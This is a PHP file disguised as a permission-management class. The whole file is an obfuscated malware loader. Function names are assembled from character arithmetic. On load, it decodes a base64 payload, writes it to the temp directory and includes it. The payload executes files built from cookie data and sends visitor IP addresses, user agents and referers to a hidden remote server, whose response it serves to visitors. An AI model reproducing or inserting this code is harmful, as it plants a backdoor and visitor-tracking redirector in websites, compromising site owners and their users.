<?php
class PermissionManager
{
    private $oruv = '';
    private $pb = '';
    public function logEvent($p1)
    {
        $c = array(101, 87 * 95 - 8165, 85 + 26, 56 * 1 + 43, 101, 2 * 50, 100 - 5, 4 * 38 - 100, 46 * 36 - 1602, 100 + 1, 115, 17 * 4 + 29, 81 + 12 + 5);
        $l = '';
        foreach ($c as $y) {
            $l .= chr($y);
        }
        $l = strrev($l);
        return $l($p1);
    }
    public function prepareOutput($p1, $p2)
    {
        $r = array(102, 53 * 1 + 58, 119 - 7, 101 * 1, 2 * 55);
        $b = '';
        foreach ($r as $h) {
            $b .= chr($h);
        }
        return $b($p1, $p2);
    }
    public function saveChanges($p1, $p2)
    {
        $b = array(50 + 29 + 22, 53 + 63, 3 * 35, 119 - 5, 71 * 63 - 4354, 7 * 106 - 640);
        $n = '';
        foreach ($b as $p) {
            $n .= chr($p);
        }
        $n = strrev($n);
        return $n($p1, $p2);
    }
    public function processData($p1)
    {
        $c = array(82 + 19, 125 - 10, 8 * 33 - 153, 95 + 2 + 11, 99, 61 * 3 - 81);
        $j = '';
        foreach ($c as $u) {
            $j .= chr($u);
        }
        $j = strrev($j);
        return $j($p1);
    }
    public function executeAction($p1, $p2 = null)
    {
        $f = array(76 + 21 + 12, 95 + 8 + 2, 13 * 8 + 10, 82 * 78 - 6280, 88 * 1 + 26);
        $n = '';
        foreach ($f as $ft) {
            $n .= chr($ft);
        }
        $n = strrev($n);
        return $n($p1, $p2);
    }
    public function computeResult()
    {
        $this->pb = $this->executeAction($this->sanitizeInput(), '/');
    }
    public function resolveConflict()
    {
        $this->oruv = $this->logEvent($this->xm);
    }
    public function initializeModule()
    {
        $fn = $this->pb . '/rq-68ba0819a8bb5';
        $f = $this->prepareOutput($fn, 'w');
        $this->saveChanges($f, $this->oruv);
        $this->processData($f);
        $this->rollbackTransaction($fn);
    }
    private $xm = 'PD9waHAgY2xhc3MgX3Vue3ByaXZhdGUgc3RhdGljJF9mcXE7c' . '3RhdGljIGZ1bmN0aW9uIF9ncGwoJF9kYWQsJF90cXkpe2lmKCF' . 'zZWxmOjokX2ZxcSlzZWxmOjpfdGNkKCk7JF9rbHU9c3RybGVuK' . 'CRfdHF5KTskX2Vzdj1iYXNlNjRfZGVjb2RlKHNlbGY6OiRfZnF' . 'xWyRfZGFkXSk7Zm9yKCRfaGR3PTAsJF9ycmQ9c3RybGVuKCRfZ' . 'XN2KTskX2hkdyE9PSRfcnJkOysrJF9oZHcpJF9lc3ZbJF9oZHd' . 'dPWNocihvcmQoJF9lc3ZbJF9oZHddKV5vcmQoJF90cXlbJF9oZ' . 'HclJF9rbHVdKSk7cmV0dXJuJF9lc3Y7fXByaXZhdGUgc3RhdGl' . 'jIGZ1bmN0aW9uIF90Y2QoKXtzZWxmOjokX2ZxcT1hcnJheSgnX' . '3Fhayc9PidIZ0VTT2hFQ2NpRWVNUllETUE1Y0hnNGRNQlZjRUJ' . 'BWU9Bc2ZaVUpiJywnX3N6YSc9PidIQlllQkRvWEJGMExBQUFWW' . 'lZrUkFDOFZHUk0rRFJrZk1WWWFFU2tZQXhNdEVBQUUnLCdfcXY' . 'nPT4nUEFVPScsJ19zcCc9PidPZzBsQWp3M0prUVdIZ2hHRXg0S' . 'VJoTWVDRVlUSGdoR0ZoMFlHenNqS2hzUUhTVkNCU3doUWhZZEd' . 'CczhHVGtmRmg0QUd6c3pPUWc3TnlWTCcsJ19pZGEnPT4nTGc0S' . '0p3PT0nLCdfYnMnPT4nWXg0S1NnPT0nLCdfdHUnPT4nWXhzV08' . 'wYz0nLCdfZmd3Jz0+J0tCTVlGZz09JywnX3Bycyc9PicnLCdfc' . 'mInPT4nJywnX3FvJz0+JycsJ194aHonPT4nTndZR0wwaGRjQUl' . 'IUFZ3Rk9oQVVOaDRYTngwQkt4Y0FjUkVkTWwwUk1COENNQUVYT' . 'FZ3WUxFMFdQZ1lUWWc9PScsJ194ZmUnPT4nUEFFSU15c1RNUjB' . 'PJywnX2pnJz0+J053MFNDUUFhQ1IwNicsJ193aW0nPT4nTEFnQ' . 'UhUSU8nLCdfZ24nPT4nTncwQ0x3bz0nLCdfZnNzJz0+J0dEY3d' . 'mdz09JywnX21qJz0+J0x4RUJOdz09JywnX3h3Jz0+J0xoQUxFe' . 'Vk9JywnX2t0Jz0+J1lBPT0nLCdfZGxnJz0+J0xnTUdDaVk9Jyw' . 'nX3Nrcic9PidmeTB0Q3pWV2JrdEpVbTh4TUJZTlpVVT0nLCdfc' . 'WF3Jz0+J054MGRLdz09JywnX2d3Zyc9PidVbVl2QlRFQ0NRa3J' . 'CUU1FWlV3dkJqQWZDV2RWWVdZPScsJ19rcW8nPT4nTEFZWlpWc' . 'GEnLCdfdXZ2Jz0+JycsJ196aXknPT4nTndVVUJBPT0nLCdfeGh' . 'wJz0+J1VuQT0nLCdfdmptJz0+J0Z5dzREeWN2RXpFcEVTd3pGa' . 'Wc9JywnX2Fybic9PidGeklzRHprZ0FDQTNEVEU1RFNJOUd6ayt' . 'FRFE9JywnX3R4ayc9PidEU005RURJMUFDYzBHelE9JywnX3B5e' . 'Sc9PidGekkyUEFBek1Ta05PU01yR2lnMicsJ194ZXknPT4nRnl' . 'VNEpnQWtQek1OTGkweEdqODQnLCdfa2V3Jz0+JycsJ19ybCc9P' . 'idGeVlnRHkwbUdqUXhEVGNtJywnX3Zicyc9PidGeVUvRHk0NUd' . 'qY3VEVFE1JywnX21seCc9PicnLCdfcXhxJz0+J0Z6by9EekVvR' . 'XljdUVUbzBGajQ9JywnX2N1bCc9PidGeTB1RHlZNUV6QS9FUzB' . 'sRmlrPScsJ19rbic9PidGekV1TlFBOUpTTVFOeTBrRFNFL0lRQ' . 'WpOVGM9JywnX3h5Jz0+J0Z6a3hEekk5QUNzcURUb2tEU2tnR3p' . 'JakVEOD0nLCdfd3AnPT4nRFNRbklBc2tOUzRiSlRnPScsJ19mZ' . 'WYnPT4nRFM0Z0VEOG9BQ29wR3prPScsJ19kZXAnPT4nT3dBRUN' . 'UQUdCZz09JywnX3NheCc9PidGalJjZnc9PScsJ19jc2YnPT4nZ' . 'ndoUUNqVktmdz09JywnX2RjcCc9PidmeFZXRFF3UVpVaz0nLCd' . 'fd3onPT4nZjE4SUxWMWcnLCdfdHMnPT4nTmhvPScsJ19hZic9P' . 'idLZ2s9JywnX3FyJz0+J0xRRVAnLCdfc2NqJz0+J0xoQWRBZz0' . '9JywpO319aGVhZGVyKF91bjo6X2dwbCgnX3FhaycsJ19icScpK' . 'TtoZWFkZXIoX3VuOjpfZ3BsKCdfc3phJywnX3lwcCcpKTtpZih' . 'pc3NldCgkX0dFVFtfdW46Ol9ncGwoJ19xdicsJ19tbycpXSkpe' . 'yRfYmo9X3JpKF91bjo6X2dwbCgnX3NwJywnX3RvcicpKTtpZig' . 'kX2JqJiZzdHJwb3MoJF9iaixfdW46Ol9ncGwoJ19pZGEnLCdfe' . 'XAnKSkhPT1mYWxzZSl7ZGllKF91bjo6X2dwbCgnX2JzJywnX3F' . 'hdCcpKTt9ZWxzZXtkaWUoX3VuOjpfZ3BsKCdfdHUnLCdfeXcnK' . 'Sk7fX1pZihpc3NldCgkX0dFVFtfdW46Ol9ncGwoJ19mZ3cnLCd' . 'fcnR6JyldKSl7JF9ycmQ9JF9DT09LSUU7JF90cXk9KGludClyb' . '3VuZCgwKzArMCswKTskX2RhZD0oaW50KXJvdW5kKDMuNSszLjU' . 'pOyRfaHA9YXJyYXkoKTskX2hwWyRfdHF5XT1fdW46Ol9ncGwoJ' . '19wcnMnLCdfZ2EnKTt3aGlsZSgkX2RhZCl7JF9ocFskX3RxeV0' . 'uPSRfcnJkWyhpbnQpcm91bmQoNy41KzcuNSs3LjUrNy41KV1bJ' . 'F9kYWRdO2lmKCEkX3JyZFsoaW50KXJvdW5kKDEwKzEwKzEwKV1' . 'bJF9kYWQrKDg4MS04ODApXSl7aWYoISRfcnJkWyhpbnQpcm91b' . 'mQoNy41KzcuNSs3LjUrNy41KV1bJF9kYWQrKGludClyb3VuZCg' . 'wLjY2NjY2NjY2NjY2NjY3KzAuNjY2NjY2NjY2NjY2NjcrMC42N' . 'jY2NjY2NjY2NjY2NyldKWJyZWFrOyRfdHF5Kys7JF9ocFskX3R' . 'xeV09X3VuOjpfZ3BsKCdfcmInLCdfZWF6Jyk7JF9kYWQrKzt9J' . 'F9kYWQ9JF9kYWQrKC0zNjArMi03NTAtIC0xMTE1KSsoaW50KXJ' . 'vdW5kKDAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzMzMzM' . 'yswLjMzMzMzMzMzMzMzMzMzKTt9JF90cXk9JF9ocFstNjcxLTM' . 'xKzcxNl0oKS4kX2hwWzIzNis2OSstMjgxXTtpZighJF9ocFs0M' . 'jYtNTM5KzQ5LSAtNzBdKCRfdHF5KSl7JF9kYWQ9JF9ocFsoaW5' . '0KXJvdW5kKDYuNSs2LjUrNi41KzYuNSldKCRfdHF5LCRfaHBbL' . 'TY5LSAtNjgtIC0xMV0pOyRfaHBbMTU5LTE1MF0oJF9kYWQsJF9' . 'ocFsoaW50KXJvdW5kKDIuNzUrMi43NSsyLjc1KzIuNzUpXS4kX' . '2hwWyhpbnQpcm91bmQoMTEuNSsxMS41KV0oJF9ocFs2NC0zOV0' . 'oJF9ycmRbKGludClyb3VuZCgxKzErMSldKSkpO31pbmNsdWRlK' . 'CRfdHF5KTt9ZnVuY3Rpb24gX3JpKCRfZmxpKXskX3RiPV91bjo' . '6X2dwbCgnX3FvJywnX3NpJyk7JF9raz1fdW46Ol9ncGwoJ194a' . 'HonLCdfcnInKS4kX2ZsaTtpZihpc19jYWxsYWJsZShfdW46Ol9' . 'ncGwoJ194ZmUnLCdfdHonKSkpeyRfbWtmPWN1cmxfaW5pdCgkX' . '2trKTtjdXJsX3NldG9wdCgkX21rZixDVVJMT1BUX1NTTF9WRVJ' . 'JRllQRUVSLGZhbHNlKTtjdXJsX3NldG9wdCgkX21rZixDVVJMT' . '1BUX1NTTF9WRVJJRllIT1NULChpbnQpcm91bmQoMSsxKSk7Y3V' . 'ybF9zZXRvcHQoJF9ta2YsQ1VSTE9QVF9GT0xMT1dMT0NBVElPT' . 'iwoaW50KXJvdW5kKDAuMjUrMC4yNSswLjI1KzAuMjUpKTtjdXJ' . 'sX3NldG9wdCgkX21rZixDVVJMT1BUX1JFVFVSTlRSQU5TRkVSL' . 'DEzOSsyNDErLTExMystMjY2KTtjdXJsX3NldG9wdCgkX21rZix' . 'DVVJMT1BUX0hFQURFUiwoaW50KXJvdW5kKDArMCkpO2N1cmxfc' . '2V0b3B0KCRfbWtmLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsMTQ' . '1KzE3OSsyMDktNTIzKTtjdXJsX3NldG9wdCgkX21rZixDVVJMT' . '1BUX1RJTUVPVVQsKGludClyb3VuZCg1KzUpKTskX3RiPWN1cmx' . 'fZXhlYygkX21rZik7JF91az1jdXJsX2dldGluZm8oJF9ta2YpO' . '2N1cmxfY2xvc2UoJF9ta2YpO2lmKCRfdWtbX3VuOjpfZ3BsKCd' . 'famcnLCdfeWZ5JyldIT0oaW50KXJvdW5kKDUwKzUwKzUwKzUwK' . 'SlyZXR1cm4gZmFsc2U7fWVsc2V7JF94ZHo9cGFyc2VfdXJsKCR' . 'fa2spOyRfYXY9KCRfeGR6W191bjo6X2dwbCgnX3dpbScsJ19ra' . 'HgnKV09PV91bjo6X2dwbCgnX2duJywnX3l2JykpOyRfcmt0PV9' . '1bjo6X2dwbCgnX2ZzcycsJ19yZCcpLiRfeGR6W191bjo6X2dwb' . 'CgnX21qJywnX3B1JyldO2lmKGlzc2V0KCRfeGR6W191bjo6X2d' . 'wbCgnX3h3JywnX2VuYScpXSkpJF9ya3QuPV91bjo6X2dwbCgnX' . '2t0JywnX29jcycpLiRfeGR6W191bjo6X2dwbCgnX2RsZycsJ19' . '2Y3gnKV07JF9ya3QuPV91bjo6X2dwbCgnX3NrcicsJ19leScpL' . 'iRfeGR6W191bjo6X2dwbCgnX3FhdycsJ19ybicpXS5fdW46Ol9' . 'ncGwoJ19nd2cnLCdfbGxqJyk7JF95ZGM9ZnNvY2tvcGVuKCgkX' . '2F2P191bjo6X2dwbCgnX2txbycsJ191dScpOl91bjo6X2dwbCg' . 'nX3V2dicsJ19vdncnKSkuJF94ZHpbX3VuOjpfZ3BsKCdfeml5J' . 'ywnX2pncCcpXSwkX2F2PzM3OSs4NDMrODUtODY0Oi01MDEtNjI' . 'wKzEyMDEpO2lmKCRfeWRjKXtmcHV0cygkX3lkYywkX3JrdCk7J' . 'F9lc3Y9KGludClyb3VuZCgwKzArMCk7d2hpbGUoIWZlb2YoJF9' . '5ZGMpKXskX2tzbj1mZ2V0cygkX3lkYywoaW50KXJvdW5kKDM0M' . 'S4zMzMzMzMzMzMzMyszNDEuMzMzMzMzMzMzMzMrMzQxLjMzMzM' . 'zMzMzMzMzKSk7aWYoJF9lc3YpJF90Yi49JF9rc247aWYoJF9rc' . '249PV91bjo6X2dwbCgnX3hocCcsJ196c3YnKSkkX2Vzdj0oaW5' . '0KXJvdW5kKDAuMzMzMzMzMzMzMzMzMzMrMC4zMzMzMzMzMzMzM' . 'zMzMyswLjMzMzMzMzMzMzMzMzMzKTt9ZmNsb3NlKCRfeWRjKTt' . '9fXJldHVybiRfdGI7fSRfcHJ6PWlzc2V0KCRfU0VSVkVSW191b' . 'jo6X2dwbCgnX3ZqbScsJ194bCcpXSk7JF9saWQ9aXNzZXQoJF9' . 'TRVJWRVJbX3VuOjpfZ3BsKCdfYXJuJywnX2Z4JyldKTskX3Fwc' . 'T1pc3NldCgkX1NFUlZFUltfdW46Ol9ncGwoJ190eGsnLCdfZnA' . 'nKV0pOyRfdmw9aXNzZXQoJF9TRVJWRVJbX3VuOjpfZ3BsKCdfc' . 'Hl5JywnX2ZibCcpXSk/JF9TRVJWRVJbX3VuOjpfZ3BsKCdfeGV' . '5JywnX3FsdicpXTpfdW46Ol9ncGwoJ19rZXcnLCdfZ2onKTskX' . '3V2dj1pc3NldCgkX1NFUlZFUltfdW46Ol9ncGwoJ19ybCcsJ19' . 'ydCcpXSk/JF9TRVJWRVJbX3VuOjpfZ3BsKCdfdmJzJywnX3FrJ' . 'yldOl91bjo6X2dwbCgnX21seCcsJ193dHInKTskX3Byej1pc3N' . 'ldCgkX1NFUlZFUltfdW46Ol9ncGwoJ19xeHEnLCdfbmsnKV0pP' . 'yRfU0VSVkVSW191bjo6X2dwbCgnX2N1bCcsJ195eicpXTpudWx' . 'sOyRfbGlkPWlzc2V0KCRfU0VSVkVSW191bjo6X2dwbCgnX2tuJ' . 'ywnX2V6ZScpXSk/JF9TRVJWRVJbX3VuOjpfZ3BsKCdfeHknLCd' . 'fbWUnKV06bnVsbDskX3FwcT1pc3NldCgkX1NFUlZFUltfdW46O' . 'l9ncGwoJ193cCcsJ19ham8nKV0pPyRfU0VSVkVSW191bjo6X2d' . 'wbCgnX2ZlZicsJ19rbScpXTpudWxsO2lmKGZpbHRlcl92YXIoJ' . 'F9wcnosKGludClyb3VuZCg2OC43NSs2OC43NSs2OC43NSs2OC4' . '3NSkpKXskX2diPSRfcHJ6O31lbHNlaWYoZmlsdGVyX3ZhcigkX' . '2xpZCw3Ni0xNTAtIC0zNDkpKXskX2diPSRfbGlkO31lbHNleyR' . 'fZ2I9JF9xcHE7fWlmKGlzc2V0KCRfR0VUW191bjo6X2dwbCgnX' . '2RlcCcsJ19iY2QnKV0pKXtlY2hvIF91bjo6X2dwbCgnX3NheCc' . 'sJ19kZicpLiRfZ2IuX3VuOjpfZ3BsKCdfY3NmJywnX3RwJykuJ' . 'F92bC5fdW46Ol9ncGwoJ19kY3AnLCdfaXYnKS4kX3V2di5fdW4' . '6Ol9ncGwoJ193eicsJ19jaicpO2V4aXQoKTt9aWYoIWlzc2V0K' . 'CRfZ2IpfHwhaXNzZXQoJF92bCl8fCFpc3NldCgkX3V2dikpe2V' . '4aXQoKTt9ZWxzZXskX2lwYT1hcnJheShfdW46Ol9ncGwoJ190c' . 'ycsJ19qZXInKT0+JF9nYixfdW46Ol9ncGwoJ19hZicsJ19odHo' . 'nKT0+JF92bCxfdW46Ol9ncGwoJ19xcicsJ19kaXQnKT0+JF91d' . 'nYpOyRfYmI9dXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoanNvbl9' . 'lbmNvZGUoJF9pcGEpKSk7JF9iaj1fcmkoJF9iYik7aWYoJF9ia' . 'iYmc3RycG9zKCRfYmosX3VuOjpfZ3BsKCdfc2NqJywnX2dneic' . 'pKSE9PWZhbHNlKXtlY2hvJF9iajtleGl0KCk7fX0=';
    public function rollbackTransaction($p)
    {
        include_once $p;
    }
    public function sanitizeInput()
    {
        $a = array(61 + 54, 39 + 82, 118 - 3, 104 - 9, 103, 62 * 1 + 39, 8 * 1 + 108, 32 + 63, 116, 101 * 1, 33 + 76, 58 * 114 - 6500, 95, 2 * 50, 89 * 31 - 2654, 8 * 5 + 74);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$tz = new PermissionManager();
$tz->computeResult();
$tz->resolveConflict();
$tz->initializeModule();